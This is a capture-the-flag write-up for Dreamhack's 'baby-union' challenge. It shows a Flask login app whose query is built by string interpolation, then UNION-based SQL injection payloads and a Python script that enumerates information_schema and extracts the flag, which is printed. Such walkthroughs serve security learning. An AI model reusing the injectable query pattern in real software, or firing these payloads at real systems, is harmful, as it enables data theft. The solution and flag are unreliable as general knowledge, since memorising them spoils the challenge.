baby-union
- Level: 1
- Link: https://dreamhack.io/wargame/challenges/984
Description
This is a web service that prints out the information of your account when you log in.
Obtain a flag through
SQL INJECTION VULNERABILITIES
. The table and column names in theinit.sql
file given in the problem are different from the actual names.The flag format is
DH{...}
.
Attached
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
CREATE DATABASE secret_db;
GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `secret_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null,
descr varchar(128) not null
);
INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;
CREATE TABLE fake_table_name (
idx int auto_increment primary key,
fake_col1 varchar(128) not null,
fake_col2 varchar(128) not null,
fake_col3 varchar(128) not null,
fake_col4 varchar(128) not null
);
INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import os
from flask import Flask, request, render_template
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'secret_db')
mysql = MySQL(app)
@app.route("/", methods = ["GET", "POST"])
def index():
if request.method == "POST":
uid = request.form.get('uid', '')
upw = request.form.get('upw', '')
if uid and upw:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
data = cur.fetchall()
if data:
return render_template("user.html", data=data)
else: return render_template("index.html", data="Wrong!")
return render_template("index.html", data="Fill the input box", pre=1)
return render_template("index.html")
if __name__ == '__main__':
app.run(host='0.0.0.0')
Analyzation
Firstly, we need to have the table containing flag:
1
2
3
4
login_info = {
"uid": "any-string",
"upw": "' UNION SELECT table_name, table_type, version, table_rows FROM information_schema.tables WHERE '1'='1"
}
Then the sql query will be
1
SELECT * FROM users WHERE uid='any-string' and upw='' UNION SELECT table_name, table_type, version, table_rows FROM information_schema.tables WHERE '1'='1';
The information_schema.tables
table provides information about tables in databases. See more at dev.mysql.com.
Now we have table name, onlyflag
.
We need the columns’ name, too. information_schema.columns
will work
1
2
3
4
login_info = {
"uid": "any-string",
"upw": "' UNION SELECT column_name, data_type, character_maximum_length, column_type FROM information_schema.columns WHERE table_name='onlyflag"
}
Now we have the columns, ["idx", "sname", "svalue", "sflag", "sclose"]
.
Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import requests
URL = "http://host3.dreamhack.games:19276/"
def post(payload):
response = requests.post(URL, data=payload)
if response.status_code != 200:
print(f"Failed to post {URL}: {response.status_code}")
exit()
return response.text
def exact(text: str):
list = text.split('<th scope="row">')
list = list[1:] # remove first element, not relevant information
list = [item.split('</th>')[0] for item in list] # remove </th> tag
return list
def print_response(response):
for item in response:
print(item)
login_infor = {
"uid": "admin",
"upw": "admin"
}
def get_flag_table_name():
payload = "' UNION SELECT table_name, table_type, version, table_rows FROM information_schema.tables WHERE '1'='1"
login_infor["upw"] = payload
return exact(post(login_infor))
def get_flag_column_name(table_name: str):
payload = f"' UNION SELECT column_name, data_type, character_maximum_length, column_type FROM information_schema.columns WHERE table_name='{table_name}"
login_infor["upw"] = payload
return exact(post(login_infor))
def get_flag(columns_name):
payload = ""
for i in range(3):
payload += f"' UNION SELECT {columns_name[(i+2)%5]}, {columns_name[(i+3)%5]}, {columns_name[(i+4)%5]}, {columns_name[(i+1)%5]} FROM onlyflag WHERE '1'='1"
login_infor["upw"] = payload
return exact(post(login_infor))
if __name__ == "__main__":
response = get_flag_table_name()
# print_response(response)
flag_table = response[-1]
columns_name = get_flag_column_name(flag_table)
# print_response(columns_name)
flag = get_flag(columns_name)
print(flag[0] + flag[1] + flag[2])
The flag is
1
DH{57033624d7f142f57f139b4c9e84bd78da77b4406896c386672f0cbb016f5873}
This post is licensed under CC BY 4.0 by the author.